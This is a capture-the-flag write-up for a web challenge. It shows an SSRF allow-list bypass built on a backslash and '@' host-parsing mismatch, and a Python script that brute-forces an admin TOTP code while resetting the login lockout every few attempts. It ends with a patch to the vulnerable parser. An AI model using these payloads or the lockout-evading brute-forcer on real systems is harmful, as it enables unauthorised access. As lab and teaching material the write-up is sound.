November 22, 2026
Quay Gate Writeup | iHack 2026
Phase 2, Jeopardy Defense Category: Web Difficulty: Hard
By manhazz
5 min read
The webpage shows 3 mini tabs including a register/signin page, account shed notes, and brohure preview with an input box for the brochure link. shed note and brochure tabs needs an account to view.
First thing i did was to create a new account with creds username:password
After signing in, i was greeted with a one time view slip,
From this slip, a lot of key clues can be extracted including,
preview.quay.localis an accepted domain for the brochure preview- admin user name is literally
admin - Signing in with the wrong creds locks the address for five minutes but it can be lifted immediately by logging in into an exisiting account (that is what i interpreted as own account)
- we are given 5 user accounts with their passwords and there are shed notes in those accounts
After taking note of the clues, i continued to log into all 5 user accounts and got their shed notes.
mara shed note
idris shed note
nia shed note
omar shed note
suki shed note
An important clue i noticed from the shed notes, other than being a clue from the source code, i also notice that in nia's shed note, the label above is stated as 'Authenticator' while the others are just 'Desk Copy' This may mean that the function given in nia's shed note is a mechanism for the admin password.
Then, i continued my recon to the brochure tab. After signing in into an account, we can see the brochure preview with the input box for the link.
It states that a host that is not in the list will be refused. This got me thinking about SSRF where we can trick the server to thinking it gets an allowed host while running a forbidden host.
From the earlier shed note clues, we know that
# Cut the host at "/".
# Backslash is an ordinary character.
# Stop the host at the first "/" or "\".
# "@" does not end the host.# Cut the host at "/".
# Backslash is an ordinary character.
# Stop the host at the first "/" or "\".
# "@" does not end the host.and also
ALLOWED = "preview.quay.local"
INTERNAL = "status.internal"ALLOWED = "preview.quay.local"
INTERNAL = "status.internal"the clues indicate that we can use backslash to cut the host. but it also say that we can use '@' to not end a host. so basically what we can do is literally craft a payload that uses backslash to stop a host and continue it with '@' and it accepts it as an input just fine.
the allowed host is preview.quay.local but we want to access the internal status.internal host
after a quick look at the app.js from the site dev options, i saw this line.
const target = "/preview?url=" + encodeURIComponent(urlInput.value);const target = "/preview?url=" + encodeURIComponent(urlInput.value);while it is a perfectly fine code bcs client side js does not handle sanitization, we now know that we can use the planned backslash and '@' in our payload.
so, i crafted two payloads using the idea.
http://preview.quay.local\@status.internal
http://status.internal\@preview.quay.localhttp://preview.quay.local\@status.internal
http://status.internal\@preview.quay.locali tested both since i dont know which part does the server accepts to run as host
and voila, the second payload worked! we managed to abuse the server's misconfiguration and trick the server to send internal data
the reason only the second one worked is that the checker and the actual fetcher didnt read the host the same way.
the checker looks at whats after the '@'. the fetcher always looks at whats before the 'backslash'.
payload 1 is
preview.quay.local\@status.internalpreview.quay.local\@status.internalso after the '@' is status.internal, checker reads it as not allowed.
payload 2 is
status.internal\@preview.quay.localstatus.internal\@preview.quay.localso after the '@' is preview.quay.local, that passes the checker. but before the 'backslash' is status.internal, and thats the part the fetcher actually sends the request to.
so basically, checker looks at the right side and fetcher looks at the left side. if we put the internal host on the left side and an allowed host on the right, it passes the check and runs the internal host.
the internal status quoted some interesting stuff, but i spent a few hours of my life trying to figure out what it meant and got nothing.
after a lot of time wasted, i decided to come back to the totp function we got from nia's shed note.
i noticed the line,
secret = secrets.randbelow(500)
# accept totp_code(secret, now) and totp_code(secret, now - 30)secret = secrets.randbelow(500)
# accept totp_code(secret, now) and totp_code(secret, now - 30)basically, the totp_code() computes whatever digit below 500. i thought of bruteforcing it but remembered about rate limiting set by the server. we need to somehow log into an exisitng account as an interval before we hit the 10 time wrong login rate limit. then repeat the sequence until we get a 200 status login password
i then spent another few hours to perfect the script to bruteforce the admin password. below is the script used.
import requests, hmac, hashlib, time
def totp_code(secret: int, when: int) -> str:
counter = int(when) // 30
msg = counter.to_bytes(8, "big")
key = f"nq-admin-{int(secret)}".encode()
digest = hmac.new(key, msg, hashlib.sha1).digest()
num = int.from_bytes(digest[-4:], "big") & 0x7FFFFFFF
return f"{num % 10000:04d}"
url = "http://138.201.185.107:20003"
s = requests.Session()
s.post(url+"/login", json={"username":"username","password":"password"})
c = 0
while True:
for sec in range(500):
now = time.time()
for t in (now, now-30):
code = totp_code(sec, t)
r = s.post(url+"/login", json={"username":"admin","password":code})
print(code, r.status_code)
if r.status_code == 200 and "admin" in r.text:
print("admin pass ->", code)
exit()
c += 1
if c % 9 == 0:
s.post(url+"/login", json={"username":"username","password":"password"})import requests, hmac, hashlib, time
def totp_code(secret: int, when: int) -> str:
counter = int(when) // 30
msg = counter.to_bytes(8, "big")
key = f"nq-admin-{int(secret)}".encode()
digest = hmac.new(key, msg, hashlib.sha1).digest()
num = int.from_bytes(digest[-4:], "big") & 0x7FFFFFFF
return f"{num % 10000:04d}"
url = "http://138.201.185.107:20003"
s = requests.Session()
s.post(url+"/login", json={"username":"username","password":"password"})
c = 0
while True:
for sec in range(500):
now = time.time()
for t in (now, now-30):
code = totp_code(sec, t)
r = s.post(url+"/login", json={"username":"admin","password":code})
print(code, r.status_code)
if r.status_code == 200 and "admin" in r.text:
print("admin pass ->", code)
exit()
c += 1
if c % 9 == 0:
s.post(url+"/login", json={"username":"username","password":"password"})we run the script with python3 script.py
below is the last few lines of the output.
7022 401
3231 401
2616 401
5614 401
8367 401
9174 401
4868 401
9188 401
1555 401
7086 401
0298 401
0671 401
4569 200
admin pass -> 45697022 401
3231 401
2616 401
5614 401
8367 401
9174 401
4868 401
9188 401
1555 401
7086 401
0298 401
0671 401
4569 200
admin pass -> 4569and well would you look at that, we got the admin password by bruteforcing!
then, i tried to login into the admin acc using the creds, admin:4569
and just like that, we are in admin!
there were no shed notes in admin so i tried using the ssrf technique we used earlier and look what we got at the end of the brochure.
Flag found!
p.s. in the image is not the real ctf flag as this is a recreation from the source code
side note: you need to log into admin using the obtained password quickly as the password itself is dynamic. we can see the mechanism in totp_code where it sets the password to only live for 30 seconds. only the random digit secret is fixed from first build.
Patching the vulnerability
patching the vuln is actually pretty straightforward as the main culprit is the ssrf technique we used. without that, even with admin access, we cant obtain the flag in brochure preview.
from the source code, i found the misconfigured setting of '@'
def proxy_host(raw: str):
"""Allow-check host. Backslash is an ordinary character."""
if "://" not in raw:
return None
rest = raw.split("://", 1)[1]
if "/" in rest:
rest = rest.split("/", 1)[0]
if "@" in rest:
return rest.rsplit("@", 1)[1]
return restdef proxy_host(raw: str):
"""Allow-check host. Backslash is an ordinary character."""
if "://" not in raw:
return None
rest = raw.split("://", 1)[1]
if "/" in rest:
rest = rest.split("/", 1)[0]
if "@" in rest:
return rest.rsplit("@", 1)[1]
return restwe just simply delete the if code for '@' and rebuild the app again
def proxy_host(raw: str):
"""Allow-check host. Backslash is an ordinary character."""
if "://" not in raw:
return None
rest = raw.split("://", 1)[1]
if "/" in rest:
rest = rest.split("/", 1)[0]
return restdef proxy_host(raw: str):
"""Allow-check host. Backslash is an ordinary character."""
if "://" not in raw:
return None
rest = raw.split("://", 1)[1]
if "/" in rest:
rest = rest.split("/", 1)[0]
return restService pwned and secured!